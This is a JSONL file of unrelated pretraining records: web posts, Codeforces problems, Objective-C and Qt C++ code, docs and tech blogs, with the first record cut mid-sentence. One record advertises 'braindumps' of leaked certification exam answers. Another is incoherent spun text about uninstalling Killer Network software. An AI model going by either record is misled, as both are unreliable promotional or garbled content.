docs. So it seems like too much of an effort at the end or better said an undocumented unfinished product (at the time of writing blog post).\nRegarding the syntax, some parts are pretty similar to Angular. I am referring to template syntax like v-for and *ngFor or v-if and *ngIf. One note though - Angular syntax is case sensitive. But there are some special cases with vue as well, like with html attributes, where camelCase property names are using its kebab-case html equivalent. Note, however, that I spent no more than 2 weeks working with it so I would not be surprised if I missed many features and details and that many of them have their alternatives. It's only that I did not have enough time to learn about them. For example, later I discovered that there is a vue template that adds support for TypeScript. That said, it means that the same object oriented feeling I got with Angular, can be achieved with vue using that template.\nStill we can say TypeScript is not there by default, so small advantage for Angular (in case you are into TypeScript as I am). I mean, TypeScript is not a 1st class citizen in vue. My final impression is still that Angular is more modular than vue. I also learned that, while Angular has all the functionalities you need within its framework, routing, state management, http, its validation, animations, … basically has everything under its umbrella, on the other hand, with vue I had to use some additional 3rd party libraries. For example, you don’t have built-in http/ajax support. Instead axios library is suggested as a 3rd party implementation. Even though it looks cool that you have it all when using Angular I could not find many downsides because of it. I can imagine it may cause some breaking changes over the time but Angular was prone to breaking changes within its sole framework too.\nWell, even though it was a positive experience while working with vue in general, there are some things which I normally did not like. For example, at least on first try, a vue project template uses mocha, karma and phantomjs as a browser for unit testing. And using phantomjs as a browser is not as nearly convenient as it is the case with the default Angular setup. Also debugging and stepping through the code in console did not work well too. For example, setting a breakpoint would not work for some specific lines. It seems it is related to source-map setting, but I was unable to resolve it in the short time I had available.\nWhich is the chosen one? On one side you have Angular backed up by Google. Still vuejs seems lighter and faster, not supported by giants but still has some notable implementations like for wizzair, euronews, alibaba, baidu, facebook newsfeed. Later I found out that vue is supported by the Chinese retail giant Alibaba. Still, because Angular is powered by Google it has bigger influence on the job market. So if you consider to sell your expertise as a developer, Angular might be better option at the moment of writing this.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1602, "token_count_with_eod": 1603, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "If you are a certified professional and eager to further polish your skills and advance your credential to further leap forward in your career, then must attempt IBM Certified Associate Certification Exam. As, the IBM considered as the ever growing career oriented vendor, who give a boost to your profession. The IBM Certified Associate certification exam is on top of the list and rapidly growing popularity among IT industry and Professionals. But the professionals are bit disinclined, because they don’t have enough time to spend on recommended books. But here is the good news for esteemed and potential candidates, now BraindumpsCollection is offering you the best solution, which helps you to resolve and pass the IBM Certified Associate Certification exam within a week.\nPass IBM Certified Associate Certification Exam on the First Try\nBraindumpsCollection provides you the best and valid braindumps Questions-Answers and practice tests for the preparation of IBM Certified Associate Certification exams. The practice valid braindumps are projected to offer you the multiple type of questions, which conceivably could be asked in your IBM Certified Associate Certification exam. The practice software is user friendly and real exam simulated, it makes you familiar with the actual exam questions.\nReduce your chances of Failure in IBM Certified Associate Certification Exam with BraindumpsCollection\nBraindumpsCollection gives you self assessment tools, which helps you to evaluate yourself. The interface of software is user-friendly The practice assessment tool for IBM Certified Associate, comprises of various self-assessment features like timed exams, randomize questions, multiple question types, test history and test scores, etc. You may change the mode of questions as per your competency level. This will prepare you for IBM Certified Associate valid braindumps.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 338, "token_count_with_eod": 339, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "//\n//  GGUserAgePickerView.h\n//  GGameParty\n//\n//  Created by Victor on 2018/8/5.\n//  Copyright © 2018年 Victor. All rights reserved.\n//\n\n#import \"GGPopupView.h\"\n\n@interface GGUserAgePickerView : GGPopupView\n\n@property (nonatomic, strong, readonly) UIPickerView *pickerView;\n@property (nonatomic, strong, readonly) UILabel *titleLabel;\n@property (nonatomic, strong, readonly) UIButton *saveButton;\n@property (nonatomic, strong, readonly) UIButton *cancelButton;\n\n@property (nonatomic, copy) void (^saveClickedBlock)(GGUserAgePickerView *pickerView);\n@property (nonatomic, copy) void (^cancelClickedBlock)(GGUserAgePickerView *pickerView);\n\n@property (nonatomic, strong, readonly) NSString *selectedTimeString;\n@property (nonatomic, assign, readonly) NSInteger selectedTimestamp;\n\n@end", "source": "cpt_stack_code", "language": "code", "token_count": 201, "token_count_with_eod": 202, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "This is the easy version of the problem. The difference between the versions is the constraint on $$$n$$$ and the required number of operations. You can make hacks only if all versions of the problem are solved.\n\nThere are two binary strings $$$a$$$ and $$$b$$$ of length $$$n$$$ (a binary string is a string consisting of symbols $$$0$$$ and $$$1$$$). In an operation, you select a prefix of $$$a$$$, and simultaneously invert the bits in the prefix ($$$0$$$ changes to $$$1$$$ and $$$1$$$ changes to $$$0$$$) and reverse the order of the bits in the prefix.\n\nFor example, if $$$a=001011$$$ and you select the prefix of length $$$3$$$, it becomes $$$011011$$$. Then if you select the entire string, it becomes $$$001001$$$.\n\nYour task is to transform the string $$$a$$$ into $$$b$$$ in at most $$$3n$$$ operations. It can be proved that it is always possible.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Gamers and game publishers occupy Germany this week for Gamescom, the world's largest game convention, which hosts more than 200,000 attendees.\nTo kick off the week, both Microsoft and Sony held press conferences touting new titles and features for their respective consoles. Each had its own big exclusive games and shared releases to show off, so both press conferences were awash with new trailers.\nWe rounded up some of the most interesting videos from both companies below. They range in scope from smaller indie projects to multiplatform, triple-A games.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 115, "token_count_with_eod": 116, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You are given an array $$$a$$$ consisting of $$$n$$$ positive integers. You can perform the following operation on it:\n\n1. Choose a pair of elements $$$a_i$$$ and $$$a_j$$$ ($$$1 \\le i, j \\le n$$$ and $$$i \\neq j$$$);\n2. Choose one of the divisors of the integer $$$a_i$$$, i.e., an integer $$$x$$$ such that $$$a_i \\bmod x = 0$$$;\n3. Replace $$$a_i$$$ with $$$\\frac{a_i}{x}$$$ and $$$a_j$$$ with $$$a_j \\cdot x$$$.\n\nFor example, let's consider the array $$$a$$$ = [$$$100, 2, 50, 10, 1$$$] with $$$5$$$ elements. Perform two operations on it:\n\n1. Choose $$$a_3 = 50$$$ and $$$a_2 = 2$$$, $$$x = 5$$$. Replace $$$a_3$$$ with $$$\\frac{a_3}{x} = \\frac{50}{5} = 10$$$, and $$$a_2$$$ with $$$a_2 \\cdot x = 2 \\cdot 5 = 10$$$. The resulting array is $$$a$$$ = [$$$100, 10, 10, 10, 1$$$];\n2. Choose $$$a_1 = 100$$$ and $$$a_5 = 1$$$, $$$x = 10$$$. Replace $$$a_1$$$ with $$$\\frac{a_1}{x} = \\frac{100}{10} = 10$$$, and $$$a_5$$$ with $$$a_5 \\cdot x = 1 \\cdot 10 = 10$$$. The resulting array is $$$a$$$ = [$$$10, 10, 10, 10, 10$$$].", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "You can quote anything, literally anything. Why wouldn't you be able to? The only caveat, if you can call it that, is that you can't necessarily 'write out the resulting code sexpr readably (for example, functions are not, as a rule, writable).\nThe only reason why you need to quote certain things at all is because the arc compiler is very picky about its input -- it cases on the type of the sexpr it's compiling, and if it doesn't recognize the type it throws an error -- but things inside a quotation escape this examination. If this weren't the case, and it instead just passed them through, then functions could be embedded directly instead of quoted; and everything (I think) other than symbols and lists evaluate to themselves in mzscheme.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 162, "token_count_with_eod": 163, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "The \"Coregistered GCP Movement Vector\" does not display the results of the offset tracking tool. It shows the shift of the slave image resulting the coregistration and was already created before the offset tracking.\nIf this is your velocity map, the red crosses indicate where the displacement vectors are located\nBut you are right, there is no longer a map element for the results:\nYou can however open the generated file velocity.csv (in the data folder > vector data) in a GIS and display it based on the attribute columns:", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 110, "token_count_with_eod": 111, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "ICRA RoboMaster AI Challenge\nIn 2021, I participated in the ICRA RoboMaster AI Challenge as a member of the vision team. We won the champion team of China division and finally won the third international prize.\nDuring the competition, I was mainly responsible for the detection of the robot’s armors to be able to hit them precisely. To this end, I completed a set of armored plate detection algorithms based on TensorRT and yolov5, and deployed it on the NVIDIA edge computing device Jetson Xavier NX, which can achieve an inference rate of 640x480@80FPS.\nAt the same time, I was also in charge of the outpost camera detection part of the competition, and completed the observation of the global robots through PnP transformation and target detection network.\nThis year, as the team leader, I led the team to receive an A grade in the technical report, ranking 5/35, and we will compete in the final international competition on 5.23 in Shenzhen.\nA video of this competition is as below(on Youtube):\nRoboMaster University Sim2Real Challenge\nIn 2022, I participated in the RoboMaster University Sim2Real Challenge, its core allows participants to win points by rearranging minerals using fully automated RoboMaster EPs that have been modified officially. The match lasts for five minutes with a sim2real-based format, where robots rearrange minerals based on the information shown on the exchange tags to earn points. Participants will be ranked according to their total points won.\nI was responsible for the vision part of the competition, which consisted of identifying the ore exchange station labels [‘B’, ‘O’, ‘X’] and the ore labels [‘1’, ‘2’, ‘3’, ‘4’, ‘5’], which you can find in the corresponding label file here.\nDue to the existence of the template file, the solution I used was to\n- Threshold the image for binarization\n- Detect the contours in the image, and thus detect all quadrilaterals\n- Do PnP transformation of the image to orthographic view\n- Compare the ortho view with the template and filter the corresponding values according to the threshold\nAt the end of the simulation phase, we ranked 5/27 in the competition, part of the list is as follows, you can see the detailed list at here!\nChina Robotics Competition Advanced Vision Project - 3D Recognition Category\nIn 2022, we participated for the first time in the 3D recognition category of the China Robotics Competition’s advanced vision program, in which a 16-category target detection network was trained to recognize some everyday objects in life. At the same time, the hardware platform for the competition was limited to Jetson Nano (4GB) and Intel Realsense SR300.\nI used the Intel Realsense SDK in combination with the yolov5 network to complete the detection of the targets. The depth of Intel Realsense is used to solve the world coordinates of the target and then to filter the interference terms. I also used a socket to communicate with the referee system and a QT-based GUI interface.\nA simple TCP/IP protocol stack\nIn the computer networking pilot class, I implemented a simple TCP/IP protocol stack based on Libpcap. It implemented simple Ethernet protocol, ARP protocol, IP protocol, UDP protocol, and TCP protocol.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 713, "token_count_with_eod": 714, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "This task will exclusively concentrate only on the arrays where all elements equal 1 and/or 2.\n\nArray a is k-period if its length is divisible by k and there is such array b of length k, that a is represented by array b written exactly $$\\pi_{k}$$ times consecutively. In other words, array a is k-periodic, if it has period of length k.\n\nFor example, any array is n-periodic, where n is the array length. Array [2, 1, 2, 1, 2, 1] is at the same time 2-periodic and 6-periodic and array [1, 2, 1, 1, 2, 1, 1, 2, 1] is at the same time 3-periodic and 9-periodic.\n\nFor the given array a, consisting only of numbers one and two, find the minimum number of elements to change to make the array k-periodic. If the array already is k-periodic, then the required value equals 0.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "- property Mapdl.chain_commands¶\nChain several mapdl commands.\nCommands can be separated with\n\"$\"in MAPDL rather than with a line break, so you could send multiple commands to MAPDL with:\nThis method is merely a convenience context manager to allow for easy chaining of PyMAPDL commands to speed up sending commands to MAPDL.\nView the response from MAPDL with\n>>> with mapdl.chain_commands: mapdl.prep7() mapdl.k(1, 1, 2, 3)", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Séminaire de Mathieu Millan\n“On the relationships between plant architecture, ontogeny andecological functions in savanna woody species”\nOpen ecosystems, such as savannas, are shaped and maintained by disturbances, for example fire and herbivory. In such ecosystems, plants are exposed to regular biomass loss, preventing the regular course of growth. Thus, it is difficult to understand how they build their bodies, how and when they invest their biomass in their different parts, when they reach their flowering onset, and how their population dynamics works. As the growth process is often interrupted and altered, the use of size-related traits, such as classic plant height and stem diameter, has limited utility in understanding the processes involved in coping with disturbances. An alternative tool to size classes is the use of developmental stages,like seedling, sapling, adult, senescent, etc. In this presentation, I will show how plant architecture (whole plant approach based on morphogenetics and plant morphology) helps define such developmental stages (called ontogenetic stages) and how the developmental status of individuals mediates size-related trait scaling relationships. Additionally, I will discuss how it allows us to predict flowering thresholds (flowering onset and large flower production). I will then discuss the benefits of including plant development in functional ecology and how to incorporate this ontogenetic stage-based approachto improve our understanding of woody species population and community dynamics in open ecosystems.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 294, "token_count_with_eod": 295, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "On Wed, Jan 21, 2009 at 02:05:46PM +0100, Michael Rueger wrote:\nm Hi all,\n> What I would like to propose is that we organize all plugins in Pharo in\n> to a Plugin category.\n> So we would then have \"Plugin-Curl\", \"Plugin-Locale\" etc. Or\n> alternatively \"Plugin-Network-Curl\", \"Plugin-System-Locale\" etc.\n> That would also allow to simply load all plugins into a VMMaker image by\n> using a package \"Plugin\".\n> What do you guys think?\n+1 on a common naming convention for this.\nI would also like to suggest something to distinguish VM plugins\nfrom other kinds of \"plugins\". The reason is that the word \"Plugin\"\nis used to describe the web browser plugin, and maybe other things\nin the future. If we say \"VmPlugin\" or \"VMConstruction-Plugin-*\nthen the difference is clear.\nI checked an older Squeak image to remind myself of the original\nnaming convention, which was:\nSome older plugins that are maintained outside of the VMMaker\npackage already use this package naming convention, hence:\nThis still looks perfectly good to me, so how about just using\n\"VMConstruction-Plugins-*\" rather than \"Plugins-*\"?\nMichael Rueger proposed Plugin-* and Tests-*, so guess that\nthis would be:\nor is it \"Tests-VMConstruction-Plugins\" ?? I am not sure.\n(cc to vm-dev list)", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 337, "token_count_with_eod": 338, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Killer Network Service Uninstall. I also disabled their analytics services tool and their wifi. Once it was done, i logged in like normal and noticed that it automatically downloaded a program called killer control center.\nIf the process is running, you will not be able to delete the file. This video a remake from the first video to show you how to uninstall the killer network program and also install the lan driver file.if you have windows 10. Go to your windows search bar.\nThe Killer Ethernet Driver Is A Qualcomm Driver.\nType in and go to apps & features. The file is a verisign signed file. I noticed that there was a new software suite with a driver update that did not auto install.\nWhen You Find The Program Killer Network Manager, Click It, And Then Do One Of The Following:\nSince this service is not a core windows file, it has little or no impact on your processes. Killer network manager suite version 220.127.116.117 by rivet networks from www.advanceduninstaller.com. The issue turned out to be the killer network card.\nI Want To Uninstall This Stuff But Don’t Want To Blow Anything Up.\nGo to your windows search bar. Open settings click on apps settings find killer network service and then uninstall the program So i only have the killer network service running.\nIt Has Killer™ E2200 Gaming Networks As One Of Its Features.\nI also disabled their analytics services tool and their wifi. 2.1 uninstalling killer network service on windows. I did some research on the program and it seems to be harmless.\nWe Worked With Killer And It Was Determined Their Software Is Unlikely To Be Responsible For Random Freezes On The Xps 8930.\nRemember to restart after performing these steps. It runs as background service killer network. Sign up for a new account in our community.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 399, "token_count_with_eod": 400, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "#include <QProcess>\n#include <QThread>\n#include <QVariant>\n#include <QFile>\n#include <QTemporaryFile>\n#include <QIODevice>\n#include <oyjl.h>\n#include <oyjl_macros.h>\n#include <unistd.h>\n\nextern int (*processCallback_p)(int argc, const char ** argv);\n\nclass Thread : public QThread\n{\n    Q_OBJECT\n\n    int argc_;\n    const char ** argv_;\n\n    Thread( ) { }\npublic:\n    Thread( int argc, const char ** argv ) {argc_=argc;argv_=argv;};\n    ~Thread( ) { }\n\nsignals:\n    void finishedSignal();\n\nprotected:\n    void run() { processCallback_p(argc_,argv_); emit finishedSignal(); };\n};\n\n\nclass Process : public QProcess {\n    Q_OBJECT\n\n    QString tempName_;\n    QByteArray a_cb;\n    FILE * fm_cb;\n    char * m_cb;\n    size_t m_size_cb;\n    int saved_stdout = -1;\n\npublic:\n    Process(QObject *parent = 0) : QProcess(parent) { m_cb = NULL; m_size_cb = 0; fm_cb = NULL; }\n\n    Q_INVOKABLE void start(const QString &program, const QVariantList &arguments)\n    {\n        QStringList args;\n\n        for( int i = 0; i < arguments.length(); i++ )\n            args << arguments[i].toString();\n\n        if(processCallback_p != NULL)\n        {\n            //fprintf(stderr, \"starting callback\\n\");\n            QString tempName;\n            {\n                QTemporaryFile temp;\n                if (temp.open()) {\n                    tempName_ = temp.fileName() + \"2\";\n                }\n            }\n            char * tfn = oyjlStringCopy( tempName_.toUtf8().data(), malloc );\n            fm_cb = fopen( tfn, \"w+\" );\n            int mf_fd_cb = fileno(fm_cb);\n            int stdout_fd = fileno(stdout);\n            saved_stdout = dup(STDOUT_FILENO);\n            if(dup2( mf_fd_cb, stdout_fd ) == -1)\n            {\n              fprintf(stderr, \"mf_fd_cb: %d stdout_fd: %d %s\\n\", mf_fd_cb, stdout_fd, strerror(errno));\n            }\n\n            int count = arguments.length();\n            char ** argv = (char**) calloc( count+2, sizeof(char*) );\n            argv[0] = oyjlStringCopy( \"lib-call\", malloc );\n            for( int i = 0; i < count; ++i )\n              argv[1+i] = oyjlStringCopy( args[i].toUtf8(), malloc );\n\n            Thread * t = new Thread( 1+count, (const char**)argv );\n            connect( t, SIGNAL(finishedSignal()), this, SLOT( setData()));\n            t->start();\n            free(tfn);\n\n        } else\n          QProcess::start(program, args);\n    }\n\n    Q_INVOKABLE void waitForFinished()\n    {\n        QProcess::waitForFinished();\n    }\n\n    Q_INVOKABLE QByteArray readAll()\n    {\n        QByteArray a;\n        if(processCallback_p != NULL)\n        {\n            //fprintf(stderr, \"read callback %d\\n\", (int)a_cb.size());\n            a = a_cb;\n        } else\n            a = QProcess::readAllStandardOutput();\n        // test for PNG and convert to base64 for QML::Image::source Url\n        if(a.length() > 16 && (int)a[0] == -119 && (int)a[1] == 80 && (int)a[2] == 78 && (int)a[3] == 71 && (int)a[4] == 13 && (int)a[5] == 10 && (int)a[6] == 26 && (int)a[7] == 10)\n        {\n            QString s = QString(\"data:image/png;base64,\") + a.toBase64();\n            a = s.toUtf8();\n        }\n        // test for SVG\n        if(a.length() > 16)\n        {\n            QString t = a;\n            if(t.startsWith( \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\\n<svg\"))\n            {\n                QString s = QString(\"data:image/svg+xml;utf8,\") + a;\n                a = s.toUtf8();\n            }\n        }\n\n        if(a.length() == 0)\n        {\n          if(processCallback_p != NULL)\n          {\n            a = a_cb; // not implemented; would need stderr\n          } else\n            a = QProcess::readAllStandardError();\n        }\n        return a;\n    }\npublic Q_SLOTS:\n    void setData()\n    {\n      char * cfn = oyjlStringCopy( tempName_.toUtf8().data(), malloc );\n      fflush(fm_cb);\n      fflush(stdout); // stdout is bufferd\n      fclose(fm_cb); fm_cb = NULL;\n      QFile f( tempName_ );\n      f.open(QIODevice::ReadOnly|QIODevice::Unbuffered);\n      qint64 size = f.size();\n      a_cb = f.read(size);\n      f.close();\n      FILE * fp = fopen(cfn,\"rb\");\n      fseek(fp, 0, SEEK_END);\n      size = ftell(fp);\n      f.remove();\n      //fprintf(stderr, OYJL_DBG_FORMAT \"read: %s %d %d\\n\", OYJL_DBG_ARGS, cfn, (int)size, (int)a_cb.size() );\n\n      // restore stdout\n      if(saved_stdout >= 0)\n        dup2(saved_stdout, STDOUT_FILENO);\n      emit readChannelFinished();\n      free(cfn);\n    }\n};", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Let's call an array $$$a$$$ of $$$n$$$ non-negative integers fancy if the following conditions hold:\n\n- at least one from the numbers $$$x$$$, $$$x + 1$$$, ..., $$$x+k-1$$$ appears in the array;\n- consecutive elements of the array differ by at most $$$k$$$ (i.e. $$$|a_i-a_{i-1}| \\le k$$$ for each $$$i \\in [2, n]$$$).\n\nYou are given $$$n$$$, $$$x$$$ and $$$k$$$. Your task is to calculate the number of fancy arrays of length $$$n$$$. Since the answer can be large, print it modulo $$$10^9+7$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 149, "token_count_with_eod": 150, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "I am starting to realize that the Unix command-line toolbox can fix absolutely any problem related to text wrangling. Let me tell you about a problem I had, and how I used some Unix command-line utilities to solve it.\nMarker is a command palette for the terminal. It lets you bookmark commands (or commands templates) and easily retreive them with the help of a real-time fuzzy matcher.\nNext Webbrowser with Keyboard Control and a Lisp Interface\nA curated list of Terminal frameworks, plugins & resources for CLI lovers.\nA complete text editor for your terminal.\nhypergit CLI for managing peer-to-peer git repositories\nmadonctl is a command line client for the Mastodon distributed social network API.\nxsv is a command line program for indexing, slicing, analyzing, splitting and joining CSV files.\nAnnouncing the Arduino Command Line Interface (CLI)\nBrowsh is a fully-modern text-based browser. It renders anything that a modern browser can\nmbsync - synchronize IMAP4 and Maildir mailboxes\na universal #text #document #converter\n. If you need to #convert\nfiles from one #markup\nformat into another, pandoc is your swiss-army knife. Pandoc can convert documents in (several dialects of) #Markdown\n, Emacs #OrgMode\n, Emacs #Muse\n, Microsoft #Word #docx\n, #LibreOffice #ODT\n, or #Haddock\nmarkup to ... many others\nPoezio is a free #console\nXMPP client (the protocol on which the Jabber IM network is built). Its goal is to let you connect very easily (no account creation needed) to the network and join various chatrooms, immediately. It tries to look like the most famous IRC clients (weechat, irssi, etc). Many commands are identical and you won't be lost if you already know these clients. Configuration can be made in a configuration file or directly from the client.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 408, "token_count_with_eod": 409, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "In this episode of our ongoing DNA Center Automation Series, our focus is on enabling telemetry to make full use of the Assurance capabilities within DNA Center. During this lab, we will discuss how to enable various feeds to DNA Center so as to ensure all aspects are enabled within the Assurance application. This enables you, the network administrator, the ability to use the Assurance application within DNA Center to fault find the network remediating client and application connectivity and experience issues. Additionally with Northbound integration to Service Now the ability to open incidents on that platform ensuring the service desk can help users in a timely manner. Please be aware that for full 365 views of devices, clients, and applications within DNA Center Advantage Licensing is a requirement.\nWithin this series, we cover the following;\n- PnP Preparation – explains the overall Plug and Play set up steps\n- Onboarding Templates – explains in-depth how to deploy Day 0 templates\n- Day N Templates – dives into Day N template constructs with both regular and composite templates and use cases\n- Application Policys – explores Application Policys and SD-AVC in DNAC and their use\n- Telemetry – explains how to deploy Telemetry for assurance\n- Advanced Automation – explores Advanced Automation techniques\n- Dynamic Automation – a deployment lab for dynamic automation\nThere are several considerations when consuming telemetry from the network. Some of those considerations are the following;\n- Total number of endpoints\n- Total number of network access devices\n- Size of DNA Center appliance in use\nWe will cover these aspects within this blog, leaving the lab solely for the enablement of telemetry.\nWhat will I learn in the Telemetry Lab?\nDNA Centers telemetry settings allow you to configure global network settings on devices for monitoring and assessing their health and the user and application experience across the network. During the lab, we will enable all the various remaining telemetry settings which are required for DNA Assurance. During the previous Onboarding Templates lab, we had enabled some of the required telemetry settings.\nWithin Cisco DNA Center, you can configure global network settings when devices are assigned to a specific site. Telemetry polls network devices and collects telemetry data according to these settings:\n- SNMP server\n- Syslog server\n- NetFlow Collector\n- Monitoring wired client\n- Enable Wireless Telemetry\nThe first two of these settings were configured during the Rest-API call in the Onboarding Templates lab.\nIt is important to understand that some networking devices have minimal allowed Netflow Collectors which can be configured. Should it be the case that you need additional flows to other servers or management devices, then you should incorporate a UDP Director in your design. The UDP Director will replicate a single incoming flow from any device to multiple management systems which require the feed.\nDNA Center Sizing\nIn the recent release of DNA Center we have increased the endpoint counts on the XL appliance and further to that have increased some of the device counts. To that end here is an updated graphic explaining the new sizing for DNA Center. The increases in the numbers of Endpoints, Network Devices, Flows, and Sites enables DNA Center to scale for large networks. That taken into consideration disparate locations based on round trip time allows us to comfortably size clusters to get the most out of Assurance.\nWith that, the lab covers these topics in-depth;\nWe will gain a practical understanding of the steps associated with setting up DNA Center and an environment to support telemetry to enable Assurance during these labs. The labs aim to aid engineers in rapidly beginning using DNA Center automation and help them work towards an automation strategy. Additionally, these labs will give customers a permanent place to try out pushing changes to telemetry settings so that they can get an understanding of what changes are made prior to deploying DNA Center on their networks. Finally, this environment will enable engineers to reduce the time and effort needed to instantiate the network.\nIn this small lab, it is quite crucial to delve into exactly which settings telemetry uses and how to enable devices for telemetry through DNA Center.\nHow can I get started?\nWithin dCLOUD, several sandbox-type labs are available. These self-contained environments are there to allow you to use them as you please within the time scheduled. In addition, this allows us a place to start practicing various concepts without fear of impacting production environments.\nAs a result, we hope to demystify some of the complexities of setting up automation and help guide customers through the caveats. Therefore, to aid customers in the transition toward automation, we have put together a set of small helpful labs within a Github repository. In this way, these self-guided labs provide a glimpse into the fundamentals of building velocity templates and offer examples that you can download and expand from. In addition, the sample templates and JSON files supplied are for easy import into DNA Centers’ template editor for quicker adoption. Lastly, some scripts are ready-made excerpts of code that allow you to build the environment to test.\nIn this practical lab, Telemetry, we step by step delve into enabling telemetry to make full use of assurance in DNA Center. Second, we provide answers and explanations to many of the questions that come up during automation workshops. We hope that you find the information both helpful and informative.\nWhere can I test and try these labs?\ndCLOUD Lab Environment\nTo help customers succeed with Cisco DNA Center automation, you may utilize the above labs as they have been designed to work within dCLOUD’s Cisco Enterprise Networks Hardware Sandbox Labs. The dCLOUD labs allow you to run these labs and gives an environment to try the various code samples. You may choose to develop and export your code for use in production environments. Also, this gives you an environment where you can safely POC/POV methods and steps without harming your production environments. The dCLOUD environment also negates the need for shipping equipment, lead times, and licensing issues needed to get moving rapidly. Please do adhere to the best practices for the dCLOUD environment when using it.\nThe environment allows for use with a web-based browser client for VPN-less connectivity, access as well as AnyConnect VPN client connectivity for those who prefer it. You may choose from labs hosted out of our San Jose Facilities by selecting US West. Choose the Cisco Enterprise Network Sandbox. To access this or any other content, including demonstrations, labs, and training in dCLOUD please work with your Cisco Account team or Cisco Partner Account Team directly. Your Account teams will schedule the session and share it for you to use. Once booked follow the guide within Github to complete the tasks adhering to the best practices of the dCLOUD environment.\nThe Telemetry lab content is located within the existing DNAC-TEMPLATES repository to give a one-stop-shop for all the necessary tools, scripts, templates, and code samples. Within it are seven labs, which build upon the tutorials to test the methods in a lab environment. The repository was featured in a previous post on Cisco Blogs about DNA Center Templates earlier in May 2021.\nAdditional labs aim to guide you through the typical steps required to enable the various automation tasks. This lab delves into the concepts of building and deploying advanced automation templates to deal with specific use cases. As a result, it also gives us access to suitable testing equipment within the LAB environment. Additionally, information within the lab provides a well-rounded explanation of Automation methods within Templates. Lastly, the lab enables customers ability to use DNA Center workflows. This lab gives an environment for customers to practice deploying advanced automation on both Wired and Wireless Platforms.\nThis lab’s goal is to be a practical aid for engineers developing a QoS automation strategy. Additionally, customers will gain a permanent place to try out the policies for various use cases. Finally, this environment will enable engineers to reduce the time and effort needed to instantiate the network.\nPlease use this menu to navigate the various sections of this Github repository. Within the multiple folders are examples, explanation readme files for reference.\n- PnP Preparation – The lab covers setup for Plug and Play (allow 1.5 hrs)\n- Onboarding Templates – The lab covers in depth how to deploy Day 0 templates (allow 1.5 hrs)\n- Day N Templates – The lab covers Day N template constructs and use cases (allow 0.5 hrs)\n- Composite Templates – This lab covers building a composite template on DNA Center (allow 0.5 hrs)\n- Application Policys – This lab covers Application Policys & SDAVC in DNAC (allow 1.0 hrs)\n- Telemetry – This lab explains how to deploy Telemetry for assurance (allow 0.5 hrs)\n- Advanced Automation – This lab will explore Advanced Automation examples (allow 1.5 hrs)\n- Dynamic Automation – This lab will use many Advanced Automation techniques discussed previously (allow 2.0 hrs)\nWe will share additional labs and content in an ongoing effort to fulfill all your automation needs with DNA Center.\nIn conclusion, if you found this set of labs and repository helpful,\nplease fill in comments and feedback on how it could be improved.\nWe’d love to hear what you think. Ask a question or leave a comment below.\nAnd stay connected with Cisco on social!\nCheck out our Cisco Networking video channel", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1887, "token_count_with_eod": 1888, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "#100DaysOfCode - Day 18: JetBrains Rider vs. Visual Studio Proper\nHappy Monday, y’all (Sorry, I’m technically a southerner). If you’re up north, I hope you got to enjoy some of the last warm weather today! Unfortunately, it’s looking like we may be getting some cold for a while, but we definitely enjoyed the last few weeks of warmth.\nToday, I wanted to make a post about JetBrains Rider, a great IDE that I’ve started to use and really enjoyed using in my month of use so far. I’ve been using it for Personal development, such as the Secret Santa application I’m working on here.\nPop OS Compatibility\nOn Pop OS (derived from Ubuntu), it’s relatively seamless (aside from 1 or 2 shortcuts with conflicts that I haven’t decided to resolve). I’ve also noticed some weirdness with the VIm plugin at times, but nothing terrible - definitely the best C# development experience I’ve had on Linux (beats VS Code pretty easy, which I’ve been using for the last few years, e.g. in ConsoleBooks).\nJetBrains is based out of Czech (which I’ve visted - yes, beer is cheaper than water in prague), but is a largely Russian company that does great things with Development workflows in various languages.\n- Their staple product has been JetBrains IDEA (Java)\n- They’ve branched off and are the industry leaders in Python now as well with IntelliJ (in my opinion)\n- They’ve (in the past few years) also released a C# IDE: JetBrains Rider\nWhilst I’ve historically stayed away from their products because I’m a C# developer, I’ve heard great things about it recently, and decided to give it a try about a month ago. Overall, while a month hasn’t been enough time to truly decide on how much more productive I am with it, I definitely think it’s a worthwhile investment ($15-20 a month). At this point, the one thing I’m still more efficient with Visual Studio for is in-depth debugging, but that’s mostly because I haven’t had to do much complex debugging (yet)…\nIf you (or your company), is interested in moving from Visual Studio, I definitely recommend Rider! If you’re a recent startup (new in the past 5 years), you might even qualify for the 50% discount here!", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
